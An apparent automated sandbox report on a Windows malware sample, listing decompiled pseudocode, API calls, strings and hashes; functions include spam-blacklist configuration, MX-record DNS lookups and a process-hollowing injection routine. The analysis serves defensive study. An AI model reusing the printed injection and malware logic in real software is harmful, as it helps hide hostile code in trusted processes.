									 *_t18 =  *(_t96 + 0x14) | 0x00000001;
									__eflags =  *_t18;
								} else {
									goto L20;
								}
							}
							goto L23;
							L20:
							_t102 = _t102 + 1;
							_t55 = 0x412000 + _t102 * 4;
						} while ( *((char*)( *(0x412000 + _t102 * 4))) != 0);
					}
					L23:
					 *0x4122dc = GetTickCount();
				}
				 *(_t96 + 0x28) = GetTickCount() / 0x3e8;
				 *((intOrPtr*)(_t96 + 0x2c)) = GetTickCount() / 0x3e8 -  *0x412110;
				_t45 = E0040F04E(0) -  *0x4122f0;
				_t93 = "localcfg";
				_t122 = _t45 -  *0x4122e4; // 0x0
				if(_t122 > 0) {
					E0040E854(1, "localcfg", "rbl_bl", _t104 + 0x18, 0x100, 0x410264);
					_t51 = E0040E819(1, _t93, "rbl_ip", 0);
					_t104 = _t104 + 0x28;
					if(_t51 == 0) {
						L28:
						 *0x4122e4 = 0x12c;
					} else {
						_t124 =  *((intOrPtr*)(_t104 + 0x10));
						if( *((intOrPtr*)(_t104 + 0x10)) == 0) {
							goto L28;
						} else {
							_push(_t104 + 0x10);
							_push(_t51);
							 *((intOrPtr*)(_t96 + 0x38)) = E00401C5F(_t124);
							 *0x4122e4 = 0x4b0;
						}
					}
				}
				_t47 = E0040F04E(0) -  *0x4122f0;
				if(_t47 > 0x4b0) {
					E0040EA84(1, _t93, "net_type",  *(_t96 + 0x14));
					_t47 = E0040F04E(0);
					 *0x4122f0 = _t47;
				}
				return _t47;
			}

0x0040201e
0x00402020
0x0040202f
0x0040202f
0x0040203b
0x0040203d
0x0040204c
0x0040204c
0x00402058
0x0040205a
0x00402069
0x00402069
0x00402078
0x00402080
0x0040208e
0x00402090
0x00402095
0x0040209a
0x0040209c
0x004020a1
0x004020ab
0x00000000
0x004020ad
0x004020ad
0x004020bd
0x004020d0
0x004020d0
0x004020d0
0x00000000
0x00000000
0x00000000
0x004020bd
0x00000000
0x004020bf
0x004020bf
0x004020c0
0x004020c9
0x004020ce
0x004020d4
0x004020d6
0x004020d6
0x004020e5
0x004020e7
0x004020ec
0x004020f1
0x004020f3
0x004020f8
0x00402102
0x00000000
0x00402104
0x00402104
0x00402114
0x00402127
0x00402127
0x00402127
0x00000000
0x00000000
0x00000000
0x00402114
0x00000000
0x00402116
0x00402116
0x00402117
0x00402120
0x00402125
0x0040212b
0x0040212d
0x0040212d
0x0040213f
0x00402151
0x00402159
0x00402160
0x0040216a
0x00402170
0x00402189
0x00402197
0x0040219c
0x004021a1
0x004021c1
0x004021c1
0x004021a3
0x004021a3
0x004021a7
0x00000000
0x004021a9
0x004021ad
0x004021ae
0x004021b6
0x004021b9
0x004021b9
0x004021a7
0x004021a1
0x004021d1
0x004021da
0x004021e7
0x004021ed
0x004021f5
0x004021f5
0x00402204

APIs

GetTickCount.KERNEL32 ref: 00402078
GetTickCount.KERNEL32 ref: 004020D4
GetTickCount.KERNEL32 ref: 004020DB
GetTickCount.KERNEL32 ref: 0040212B
GetTickCount.KERNEL32 ref: 00402132
GetTickCount.KERNEL32 ref: 00402142

Part of subcall function 0040F04E: SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,0040E342,00000000,7554F210,80000001,00000000,0040E513,?,?,?,?,000000E4), ref: 0040F089
Part of subcall function 0040F04E: GetSystemTimeAsFileTime.KERNEL32(80000001,?,?,?,0040E342,00000000,7554F210,80000001,00000000,0040E513,?,?,?,?,000000E4,000000C8), ref: 0040F093

Part of subcall function 0040E854: lstrcpyA.KERNEL32(00000001,?,?,0040D8DF,00000001,localcfg,except_info,00100000,00410264), ref: 0040E88B
Part of subcall function 0040E854: lstrlenA.KERNEL32(00000001,?,0040D8DF,00000001,localcfg,except_info,00100000,00410264), ref: 0040E899

Part of subcall function 00401C5F: wsprintfA.USER32 ref: 00401CE1

Strings

localcfg, xrefs: 00402070, 00402160, 00402186, 00402194, 004021E4
net_type, xrefs: 004021DF
rbl_ip, xrefs: 0040218F
rbl_bl, xrefs: 00402181

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountTick$Time$FileSystem$lstrcpylstrlenwsprintf
String ID: localcfg$net_type$rbl_bl$rbl_ip
API String ID: 3976553417-1522128867
Opcode ID: e666061d80d691fc6b112011ec25e37af1bccbb964f924a1abaaf546849d61ae
Instruction ID: 2c4ade229706ff5e66d1d9a19171a9bb61e55472092035c31cb102c4d2320628
Opcode Fuzzy Hash: e666061d80d691fc6b112011ec25e37af1bccbb964f924a1abaaf546849d61ae
Instruction Fuzzy Hash: CF51F3706043465ED728EB21EF49B9A3BD4BB04318F10447FE605E62E2DBFC9494CA1D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C2DC, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 182
threadCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040C2DC(void* __ebp, signed int _a4) {
				void* _t86;
				signed int _t90;
				signed int _t91;
				long _t93;
				signed int _t95;
				signed int _t101;
				signed int _t108;
				signed int _t112;
				signed int _t115;
				long _t117;
				long _t118;
				signed int _t120;
				struct _SECURITY_ATTRIBUTES* _t122;
				signed int _t123;
				signed int _t132;
				signed int _t148;
				signed char _t151;
				signed int _t154;
				signed int _t156;
				signed char* _t157;
				void* _t158;
				signed int _t163;

				_t158 = __ebp;
				_t157 = _a4;
				E0040A4C7(_t157);
				_t122 = 0;
				if(_t157[0x44] == 0) {
					_t157[8] = 0;
					_t157[0x34] = 0;
					_t157[0x38] = 0;
					_t157[0x3c] = 0;
					_t157[0x54] = 0;
					_t157[0x40] = 0;
					_t157[0x58] = 0;
					L31:
					_t82 =  &(_t157[4]); // 0x40c4e4
					_t86 = _t82;
					_t148 =  !( *_t157) & 0x00000001;
					_t157[0x5c] = _t122;
					_t84 =  &(_t157[8]); // 0xfffffdf0
					if( *_t86 >=  *_t84) {
						L34:
						return _t86;
					}
					_t86 = CreateThread(_t122, _t122, E0040B535, InterlockedIncrement(_t86) | _t148 << 0x00000010, _t122, _t122);
					if(_t86 == _t122) {
						goto L34;
					}
					return CloseHandle(_t86);
				}
				if(_t157[8] != 0) {
					__eflags = _t157[0x48];
					if(_t157[0x48] == 0) {
						L5:
						_t12 =  &(_t157[0x10]); // 0x59be026a
						_t90 =  *_t12;
						_t157[8] = _t90;
						_t157[0x34] = _t90;
						_t91 = _t90 * 0x3e8;
						__eflags = _t91;
						_t157[0x38] = _t122;
						_t157[0x3c] = _t122;
						_t157[0x1c] = _t90 * 0x2710;
						_t157[0x20] = _t91;
						goto L6;
					}
					_t118 = GetTickCount();
					_t11 =  &(_t157[0x48]); // 0x13740041
					__eflags = _t118 -  *_t11 - 0x927c0;
					if(_t118 -  *_t11 < 0x927c0) {
						goto L6;
					}
					goto L5;
				} else {
					_t4 =  &(_t157[0xc]); // 0x5756c359
					_t120 =  *_t4;
					_t157[0x1c] = _t120 * 0x2710;
					_t157[8] = _t120;
					_t157[0x20] = _t120 * 0x3e8;
					_t157[0x34] = _t120;
					_t157[0x48] = GetTickCount();
					L6:
					if(( *_t157 & 0x00000001) == 0) {
						_t73 =  &(_t157[0x34]); // 0xa1c35e5f
						_t157[8] =  *_t73;
						goto L31;
					}
					_t93 = GetTickCount();
					_t21 =  &(_t157[0x4c]); // 0x26fce850
					if(_t93 -  *_t21 >= 0x2710) {
						goto L31;
					}
					if(_t157[0x54] == _t122) {
						_t95 = 0x3e8;
					} else {
						_t117 = GetTickCount();
						_t23 =  &(_t157[0x54]); // 0x41366c1d
						_t95 = _t117 -  *_t23;
					}
					_t123 = _t95;
					if(_t95 < 1) {
						_t123 = 1;
					}
					if(_t123 > 0x4e20) {
						_t123 = 0x4e20;
					}
					_t24 =  &(_t157[0x58]); // 0x701d8900
					_t25 =  &(_t157[0x40]); // 0x74c33b57
					_t151 =  *_t25;
					_t132 =  *_t24 * 0x3e8;
					_push(_t158);
					asm("cdq");
					_push(0x14);
					_a4 = _t123;
					asm("cdq");
					_t101 = (_t132 - _t151) * _t123 / 0x3e8 / 0x3e8;
					if(_t101 == 0) {
						__eflags = _t132 - _t151;
						if(__eflags == 0) {
							goto L22;
						}
						if(__eflags >= 0) {
							_t156 = _t151 + 1;
							__eflags = _t156;
						} else {
							_t156 = _t151 - 1;
						}
						goto L21;
					} else {
						_t156 = _t151 + _t101;
						L21:
						_t157[0x40] = _t156;
						L22:
						if(_t157[0x40] < 0) {
							_t157[0x40] = _t157[0x40] & 0x00000000;
						}
						_t39 =  &(_t157[0x40]); // 0x74c33b57
						_t163 = (0xc8 -  *_t39) * 0x14;
						if(_t123 > 0x3e8) {
							_a4 = 0x3e8;
						}
						asm("cdq");
						_t46 =  &(_t157[0x14]); // 0x5f004120
						_t47 =  &(_t157[0x10]); // 0x59be026a
						asm("cdq");
						_t49 =  &(_t157[0x30]); // 0xe4754f45
						_t54 =  &(_t157[0x20]); // 0x406a0000
						_t108 = E0040A505(_t163 * _a4 / 0x3e8 /  *_t49 +  *_t54,  *_t47 * 0x3e8,  *_t46 * 0x3e8);
						asm("cdq");
						_t56 =  &(_t157[0x2c]); // 0xc68314c4
						_t157[0x20] = _t108;
						_t112 = E0040A505(_t163 /  *_t56 + _t108,  *_t47 * 0x3e8,  *_t46 * 0x3e8);
						asm("cdq");
						_t122 = 0;
						_t157[0x58] = 0;
						_t154 = _t112 / 0x3e8;
						_t157[0x54] = GetTickCount();
						_t68 =  &(_t157[0x34]); // 0xa1c35e5f
						_t115 =  *_t68;
						if(_t115 <= _t154) {
							_t157[8] = _t115;
							_t157[0x20] = _t115 * 0x3e8;
						} else {
							_t157[8] = _t154;
							_t157[0x1c] = _t154 * 0x2710;
						}
						goto L31;
					}
				}
			}

0x0040c2dc
0x0040c2de
0x0040c2e4
0x0040c2e9
0x0040c2ef
0x0040c482
0x0040c485
0x0040c488
0x0040c48b
0x0040c48e
0x0040c491
0x0040c494
0x0040c497
0x0040c499
0x0040c499
0x0040c4a0
0x0040c4a3
0x0040c4a6
0x0040c4a9
0x0040c4d5
0x0040c4d5
0x0040c4d5
0x0040c4c1
0x0040c4c9
0x00000000
0x00000000
0x00000000
0x0040c4cc
0x0040c2fe
0x0040c326
0x0040c329
0x0040c337
0x0040c337
0x0040c337
0x0040c342
0x0040c345
0x0040c348
0x0040c348
0x0040c34e
0x0040c351
0x0040c354
0x0040c357
0x00000000
0x0040c357
0x0040c32b
0x0040c32d
0x0040c330
0x0040c335
0x00000000
0x00000000
0x00000000
0x0040c300
0x0040c300
0x0040c300
0x0040c30b
0x0040c316
0x0040c319
0x0040c31c
0x0040c321
0x0040c35a
0x0040c35d
0x0040c47a
0x0040c47d
0x00000000
0x0040c47d
0x0040c363
0x0040c365
0x0040c36d
0x00000000
0x00000000
0x0040c376
0x0040c37f
0x0040c378
0x0040c378
0x0040c37a
0x0040c37a
0x0040c37a
0x0040c384
0x0040c389
0x0040c38d
0x0040c38d
0x0040c395
0x0040c397
0x0040c397
0x0040c399
0x0040c39c
0x0040c39c
0x0040c39f
0x0040c3ac
0x0040c3ad
0x0040c3b5
0x0040c3b8
0x0040c3bc
0x0040c3bd
0x0040c3c1
0x0040c3c7
0x0040c3c9
0x00000000
0x00000000
0x0040c3cb
0x0040c3d0
0x0040c3d0
0x0040c3cd
0x0040c3cd
0x0040c3cd
0x00000000
0x0040c3c3
0x0040c3c3
0x0040c3d1
0x0040c3d1
0x0040c3d4
0x0040c3d8
0x0040c3da
0x0040c3da
0x0040c3e3
0x0040c3eb
0x0040c3f0
0x0040c3f2
0x0040c3f2
0x0040c3fd
0x0040c405
0x0040c408
0x0040c419
0x0040c41a
0x0040c41d
0x0040c421
0x0040c42a
0x0040c42b
0x0040c430
0x0040c436
0x0040c43b
0x0040c443
0x0040c448
0x0040c44b
0x0040c453
0x0040c456
0x0040c456
0x0040c45c
0x0040c46c
0x0040c475
0x0040c45e
0x0040c45e
0x0040c467
0x0040c467
0x00000000
0x0040c45c
0x0040c3c1

APIs

Part of subcall function 0040A4C7: GetTickCount.KERNEL32 ref: 0040A4D1
Part of subcall function 0040A4C7: InterlockedExchange.KERNEL32(?,00000001), ref: 0040A4FA

GetTickCount.KERNEL32 ref: 0040C31F
GetTickCount.KERNEL32 ref: 0040C32B
GetTickCount.KERNEL32 ref: 0040C363
GetTickCount.KERNEL32 ref: 0040C378
GetTickCount.KERNEL32 ref: 0040C44D
InterlockedIncrement.KERNEL32(0040C4E4), ref: 0040C4AE
CreateThread.KERNEL32 ref: 0040C4C1
CloseHandle.KERNEL32(00000000,?,0040C4E0,00413588,00408810), ref: 0040C4CC

Strings

localcfg, xrefs: 0040C2DD

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountTick$Interlocked$CloseCreateExchangeHandleIncrementThread
String ID: localcfg
API String ID: 1553760989-1857712256
Opcode ID: afac293e63498dd1283f128a7be93ce9089d2193a9ff6ee31ee25d998cb0b475
Instruction ID: d79c9f10581ee3273b6165e92ba068ddd4f199cf4cd09fd02743c11af2233124
Opcode Fuzzy Hash: afac293e63498dd1283f128a7be93ce9089d2193a9ff6ee31ee25d998cb0b475
Instruction Fuzzy Hash: 0E515CB1A00B41CFC7249F6AC5D552ABBE9FB48304B509A3FE58BD7A90D778F8448B14

Uniqueness

Uniqueness Score: -1.00%

Function 0054F565, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(0054CC6D), ref: 0054F59D
socket.WS2_32(00000002,00000001,00000000), ref: 0054F5B7
closesocket.WS2_32(00000000), ref: 0054F5C5

Strings

p*t, xrefs: 0054F5C5, 0054F5F0
^+t, xrefs: 0054F619
time_cfg, xrefs: 0054F573

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: closesockethtonssocket
String ID: p*t$time_cfg$^+t
API String ID: 311057483-625476229
Opcode ID: 35ab9fe366417f7a0644d99ffa926dabfa0554eb5add049d4f688aed03fde98e
Instruction ID: 59d45d61d5d83bd33e4970fd265220a482f2352219aca9a0a57b9ad024cdbebf
Opcode Fuzzy Hash: 35ab9fe366417f7a0644d99ffa926dabfa0554eb5add049d4f688aed03fde98e
Instruction Fuzzy Hash: C2315A72900119ABDB10DFA8EC899EF7BFCFF89318F104566F915E3150E7709A818BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00543042, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 97memorylibrarynetworkCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(iphlpapi.dll), ref: 00543051
LoadLibraryA.KERNEL32(iphlpapi.dll), ref: 00543061
GetProcAddress.KERNEL32(00000000,00410408), ref: 0054307E
RtlAllocateHeap.NTDLL(00000000), ref: 0054309F
htons.WS2_32(00000035), ref: 005430D8
inet_addr.WS2_32(?), ref: 005430E3
gethostbyname.WS2_32(?), ref: 005430F6
HeapFree.KERNEL32(00000000), ref: 00543136

Strings

iphlpapi.dll, xrefs: 0054304B, 00543050, 00543060

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: Heap$AddressAllocateFreeHandleLibraryLoadModuleProcgethostbynamehtonsinet_addr
String ID: iphlpapi.dll
API String ID: 2869546040-3565520932
Opcode ID: 1e8713dd52c6e8bc37e9b2497aa4af782d9b250ffd42f9daf4508d8acafa4540
Instruction ID: 7ef293775a329de630e5fd7893059706b09e9920c2c4ad696fbf6875ca8a0abd
Opcode Fuzzy Hash: 1e8713dd52c6e8bc37e9b2497aa4af782d9b250ffd42f9daf4508d8acafa4540
Instruction Fuzzy Hash: 7831A431A00606ABDB119BB8DC48BEE7FB8BF04765F144225F514E71A0DB74DA41CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00402D21, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 85
memorylibrarystringCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00402D21(intOrPtr _a4) {
				long _v8;
				long _v12;
				void* _v16;
				char _v28;
				struct HINSTANCE__* _t19;
				_Unknown_base(*)()* _t20;
				long* _t30;
				intOrPtr* _t37;
				long _t39;
				long _t40;
				void* _t41;

				asm("movsd");
				asm("movsd");
				asm("movsw");
				asm("movsb");
				_t19 = GetModuleHandleA( &_v28);
				_t39 = 0;
				if(_t19 != 0) {
					L3:
					_t20 = GetProcAddress(_t19, "DnsQuery_A");
					if(_t20 == _t39) {
						L2:
						return 0;
					}
					_push(_t39);
					_t35 =  &_v16;
					_push( &_v16);
					_push(_t39);
					_push(_t39);
					_push(0xf);
					_push(_a4);
					if( *_t20() != 0) {
						goto L2;
					}
					_t37 = _v16;
					_v8 = _t39;
					_v12 = _t39;
					if(_t37 == _t39) {
						L14:
						return _v12;
					}
					do {
						if( *((short*)(_t37 + 8)) != 0xf) {
							goto L12;
						}
						_t40 = HeapAlloc(GetProcessHeap(), _t39, 0x108);
						if(_t40 == 0) {
							break;
						}
						E0040EE2A(_t35, _t40, 0, 0x108);
						_t41 = _t41 + 0xc;
						 *(_t40 + 4) =  *(_t37 + 0x1c) & 0x0000ffff;
						_t13 = _t40 + 8; // 0x8
						lstrcpynA(_t13,  *(_t37 + 0x18), 0xff);
						_t30 = _v8;
						_v8 = _t40;
						if(_t30 != 0) {
							 *_t30 = _t40;
						} else {
							_v12 = _t40;
						}
						L12:
						_t37 =  *_t37;
						_t39 = 0;
					} while (_t37 != 0);
					goto L14;
				}
				_t19 = LoadLibraryA( &_v28);
				if(_t19 != 0) {
					goto L3;
				}
				goto L2;
			}

0x00402d31
0x00402d32
0x00402d33
0x00402d39
0x00402d3a
0x00402d40
0x00402d44
0x00402d5b
0x00402d61
0x00402d69
0x00402d54
0x00000000
0x00402d54
0x00402d6b
0x00402d6c
0x00402d6f
0x00402d70
0x00402d71
0x00402d72
0x00402d74
0x00402d7b
0x00000000
0x00000000
0x00402d7d
0x00402d80
0x00402d83
0x00402d88
0x00402deb
0x00000000
0x00402deb
0x00402d90
0x00402d95
0x00000000
0x00000000
0x00402da6
0x00402daa
0x00000000
0x00000000
0x00402db0
0x00402db9
0x00402dc1
0x00402dc7
0x00402dcb
0x00402dd1
0x00402dd4
0x00402dd9
0x00402de0
0x00402ddb
0x00402ddb
0x00402ddb
0x00402de2
0x00402de2
0x00402de4
0x00402de6
0x00000000
0x00402dea
0x00402d4a
0x00402d52
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNEL32(00000000,7519EA30,?,00000000,00402F01,?,004020FF,00412000), ref: 00402D3A
LoadLibraryA.KERNEL32(?), ref: 00402D4A
GetProcAddress.KERNEL32(00000000,DnsQuery_A), ref: 00402D61
GetProcessHeap.KERNEL32(00000000,00000108,000DBBA0), ref: 00402D99
HeapAlloc.KERNEL32(00000000), ref: 00402DA0
lstrcpynA.KERNEL32(00000008,?,000000FF), ref: 00402DCB

Strings

dnsapi.dll, xrefs: 00402D29
DnsQuery_A, xrefs: 00402D5B

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Heap$AddressAllocHandleLibraryLoadModuleProcProcesslstrcpyn
String ID: DnsQuery_A$dnsapi.dll
API String ID: 3560063639-3847274415
Opcode ID: d4096c20dd1105e3ef32148a9c5654c80b560ad64ac552135804a6a2b7bfb5e3
Instruction ID: e5e1ee734cbcfb8ca4eff609f7c37a2f42b45bda1feb54b0ffc2340cedddb21a
Opcode Fuzzy Hash: d4096c20dd1105e3ef32148a9c5654c80b560ad64ac552135804a6a2b7bfb5e3
Instruction Fuzzy Hash: 25214F7190022AABCB11AB55DD48AEFBBB8EF08750F104432F905B7290D7F49E8587D8

Uniqueness

Uniqueness Score: -1.00%

Function 00406CC9, Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 84
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E00406CC9(void* __ecx) {
				_Unknown_base(*)()* _t8;
				CHAR* _t17;
				void* _t18;
				void* _t23;
				char _t25;
				void* _t34;

				_t23 = __ecx;
				if( *0x412e08 != 0) {
					L14:
					return 0x412e08;
				}
				_t8 = GetProcAddress(GetModuleHandleA("kernel32"), "GetSystemWow64DirectoryA");
				if(_t8 == 0) {
					L4:
					if(GetSystemDirectoryA(0x412e08, 0x104) == 0 ||  *0x412e08 == 0) {
						if(GetWindowsDirectoryA(0x412e08, 0x104) == 0 ||  *0x412e08 == 0) {
							E0040EF00(0x412e08, E00402544(0x4122f8, 0x410664, 0xb, 0xe4, 0xc8));
							E0040EE2A(_t23, 0x4122f8, 0, 0x100);
							_t34 = _t34 + 0x28;
						}
						E0040EF1E(0x412e08, E00402544(0x4122f8, 0x410658, 0xb, 0xe4, 0xc8));
						E0040EE2A(_t23, 0x4122f8, 0, 0x100);
					}
					L10:
					_t17 = 0x412e08;
					goto L11;
					L11:
					_t25 =  *_t17;
					_t17 =  &(_t17[1]);
					if(_t25 != 0) {
						goto L11;
					} else {
						_t18 = _t17 - 0x412e09;
						if( *((char*)(_t18 + 0x412e07)) != 0x5c) {
							 *((char*)(_t18 + 0x412e08)) = 0x5c;
							 *((char*)(_t18 + 0x412e09)) = _t25;
						}
						goto L14;
					}
				}
				_push(0x104);
				_push(0x412e08);
				if( *_t8() == 0 ||  *0x412e08 == 0) {
					goto L4;
				} else {
					goto L10;
				}
			}

0x00406cc9
0x00406cd6
0x00406dbe
0x00406dc1
0x00406dc1
0x00406cee
0x00406cfb
0x00406d12
0x00406d1c
0x00406d40
0x00406d60
0x00406d69
0x00406d6e
0x00406d6e
0x00406d86
0x00406d8f
0x00406d98
0x00406d99
0x00406d99
0x00406d9e
0x00406d9f
0x00406d9f
0x00406da1
0x00406da4
0x00000000
0x00406da6
0x00406da6
0x00406daf
0x00406db1
0x00406db8
0x00406db8
0x00000000
0x00406daf
0x00406da4
0x00406cfd
0x00406cfe
0x00406d03
0x00000000
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32,GetSystemWow64DirectoryA,PromptOnSecureDesktop,000000E4,00406DDC,000000C8), ref: 00406CE7
GetProcAddress.KERNEL32(00000000), ref: 00406CEE
GetSystemDirectoryA.KERNEL32 ref: 00406D14
GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00406D2B

Strings

C:\Windows\SysWOW64\, xrefs: 00406CC9, 00406CD1, 00406CFE, 00406D05, 00406D13, 00406D1E, 00406D2A, 00406D42, 00406D5F, 00406D85
GetSystemWow64DirectoryA, xrefs: 00406CDD
kernel32, xrefs: 00406CE2
PromptOnSecureDesktop, xrefs: 00406CDC, 00406D36, 00406D58, 00406D68, 00406D7E, 00406D8E

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Directory$AddressHandleModuleProcSystemWindows
String ID: C:\Windows\SysWOW64\$GetSystemWow64DirectoryA$PromptOnSecureDesktop$kernel32
API String ID: 1082366364-2834986871
Opcode ID: 174e8731fdbdc44ab974895aa40a4ab233de6b35a5efa5658db69bb206ac9e39
Instruction ID: 283af98db633f334a3c96cb566aa979ace8a56c3c0d7b64ee1e11c7fdc897f47
Opcode Fuzzy Hash: 174e8731fdbdc44ab974895aa40a4ab233de6b35a5efa5658db69bb206ac9e39
Instruction Fuzzy Hash: AC21F26174034479F72157225D89FF72E4C8F52744F19407AF804B62D2CAED88E582AD

Uniqueness

Uniqueness Score: -1.00%

Function 0040977C, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 82
threadinjectionprocessCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040977C(void* __ecx, CHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				void _v24;
				char _v28;
				struct _STARTUPINFOA _v96;
				struct _CONTEXT _v812;
				void* _t33;

				_t46 = __ecx;
				E0040EE2A(__ecx,  &_v96, 0, 0x44);
				_v96.cb = 0x44;
				if(CreateProcessA(0, _a4, 0, 0, 0, 4, 0, 0,  &_v96,  &_v20) != 0) {
					E0040EE2A(_t46,  &_v812, 0, 0x2cc);
					_v812.ContextFlags = 0x10002;
					if(GetThreadContext(_v20.hThread,  &_v812) != 0) {
						_t33 = E0040637C(_entry_, _v20.hProcess,  &_v28,  &_v24);
						_push(0);
						if(_t33 == 0) {
							L4:
							TerminateProcess(_v20.hProcess, ??);
							goto L1;
						}
						if(WriteProcessMemory(_v20, _v812.Ebx + 8,  &_v24, 4, ??) == 0) {
							goto L3;
						}
						_v812.Eax = _v28;
						if(SetThreadContext(_v20.hThread,  &_v812) == 0) {
							goto L3;
						}
						ResumeThread(_v20.hThread);
						return 1;
					}
					L3:
					_push(0);
					goto L4;
				}
				L1:
				return 0;
			}

0x0040977c
0x0040978f
0x004097a9
0x004097b9
0x004097cf
0x004097e1
0x004097f3
0x00409811
0x00409819
0x0040981c
0x004097f6
0x004097f9
0x00000000
0x004097f9
0x00409839
0x00000000
0x00000000
0x0040983e
0x00409856
0x00000000
0x00000000
0x0040985b
0x00000000
0x00409863
0x004097f5
0x004097f5
0x00000000
0x004097f5
0x004097bb
0x00000000

APIs

CreateProcessA.KERNEL32 ref: 004097B1
GetThreadContext.KERNEL32(?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 004097EB
TerminateProcess.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 004097F9
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 00409831
SetThreadContext.KERNEL32(?,00010002,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 0040984E
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 0040985B

Strings

D, xrefs: 004097A9
PromptOnSecureDesktop, xrefs: 00409785

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ProcessThread$Context$CreateMemoryResumeTerminateWrite
String ID: D$PromptOnSecureDesktop
API String ID: 2981417381-1403908072
Opcode ID: bfc8fb38e21afcc8978dd871529b03129cc6a272bb135abfd583736d5c6f917f
Instruction ID: 6dc29e085b1385aad622296cf5a9b119a202239bcf48ce0aeeb22bf7d7f748db
Opcode Fuzzy Hash: bfc8fb38e21afcc8978dd871529b03129cc6a272bb135abfd583736d5c6f917f
Instruction Fuzzy Hash: 54216DB2901119BBDB119FA1DC49EEF7B7CEF05750F004071B909F2191EB759A44CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 0041E83B, Relevance: 13.6, APIs: 9, Instructions: 55COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041E840
std::_Lockit::_Lockit.LIBCPMTD ref: 0041E84F
int.LIBCPMT ref: 0041E866

Part of subcall function 0041CDA8: std::_Lockit::_Lockit.LIBCPMTD ref: 0041CDB9
Part of subcall function 0041CDA8: std::_Lockit::~_Lockit.LIBCPMTD ref: 0041CDD3

std::locale::_Getfacet.LIBCPMT ref: 0041E86F
std::bad_exception::bad_exception.LIBCMTD ref: 0041E89D
__CxxThrowException@8.LIBCMTD ref: 0041E8AB
std::locale::facet::_Incref.LIBCPMT ref: 0041E8BB
std::locale::facet::facet_Register.LIBCPMTD ref: 0041E8C1
std::_Lockit::~_Lockit.LIBCPMTD ref: 0041E8CE

Memory Dump Source

Source File: 00000012.00000002.390784904.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Exception@8GetfacetH_prologIncrefRegisterThrowstd::bad_exception::bad_exceptionstd::locale::_std::locale::facet::_std::locale::facet::facet_
String ID:
API String ID: 288561801-0
Opcode ID: a10c2ae97307574cdc53e0f2391ae8684ec3c28a513f6e1a31bcd4d72c2db43d
Instruction ID: c782819da329cd1a0c2f68439db2e3988a39bd44ed923a9aaea9237dd73971e0
Opcode Fuzzy Hash: a10c2ae97307574cdc53e0f2391ae8684ec3c28a513f6e1a31bcd4d72c2db43d
Instruction Fuzzy Hash: 1D11A336940214ABCB05FBA2D952AEE7735AB80768F60052FE811672D1DB3C9A45C79C

Uniqueness

Uniqueness Score: -1.00%

Function 00546761, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 182COMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(?,00000008), ref: 005467AC
htonl.WS2_32(?), ref: 005467C8
htonl.WS2_32(?), ref: 005467D7
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000), ref: 005468DA
ExitProcess.KERNEL32 ref: 005469A5

Strings

localcfg, xrefs: 0054697D
except_info, xrefs: 00546978

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: Processhtonl$CurrentExitHugeRead
String ID: except_info$localcfg
API String ID: 1150517154-3605449297
